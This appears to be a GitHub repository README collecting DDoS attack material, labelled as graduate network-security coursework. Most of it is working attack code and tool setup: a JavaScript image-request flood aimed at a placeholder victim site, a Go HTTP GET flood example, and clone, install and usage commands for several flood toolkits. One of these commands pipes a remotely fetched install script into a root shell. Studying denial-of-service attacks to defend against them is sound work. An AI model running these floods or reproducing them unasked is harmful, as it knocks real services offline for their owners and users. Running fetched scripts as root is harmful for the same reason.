Skip to content

Snippets of code and resources related to DDoS attacks for graduate coursework on network security

License

Notifications You must be signed in to change notification settings

EvolvingSysadmin/DDoS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 

Repository files navigation

DDoS

Snippets of code and resources related to DDoS attacks for graduate coursework on network security

DDoS All The Things

Table of Contents

imgflood Layer 7 flood attack

function imgflood() {
  var TARGET = 'victim-website.com'
  var URI = '/index.php?'
  var pic = new Image()
  var rand = Math.floor(Math.random() * 1000)
  pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

Raven-Storm Toolkit

curl -s https://raw.githubusercontent.com/Taguar258/Raven-Storm/master/install.sh | sudo bash -s

ufonet

You can automatically get all required libraries using (as root):

python3 setup.py install

For manual installation, on Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev

On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:

pip3 install GeoIP
pip3 install python-geoip
pip3 install pygeoip
pip3 install requests
pip3 install pycrypto
pip3 install pycurl
pip3 install whois
pip3 install scapy-python3

DDoS Infinite HTTP GET

func main() {
	workers := 100
	d, err := ddos.New("http://127.0.0.1:80", workers)
	if err != nil {
		panic(err)
	}
	d.Run()
	time.Sleep(time.Second)
	d.Stop()
	fmt.Println("DDoS attack server: http://127.0.0.1:80")
	// Output: DDoS attack server: http://127.0.0.1:80
}

Golang-httpflood

Install Golang Golang Download & Installation

Change Linux Resource Limit

ulimit -n 999999

Clone Repo

git clone https://github.com/Leeon123/golang-httpflood.git

Header.txt format

Accept: text/html
User-agent: Wget
Referer: http://google.com

Usage

cd golang-httpflood
go build httpflood.go
./httpflood  <url> <threads> <get/post> <seconds> <header.txt/nil>

DDoS-Ripper

sudo apt install git 
git clone https://github.com/palahsu/DDoS-Ripper.git 
cd DDoS-Ripper 
$ ls 
$ python3 DRipper.py OR python2 DRipper.py

DDoS Scripts

About

Snippets of code and resources related to DDoS attacks for graduate coursework on network security

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published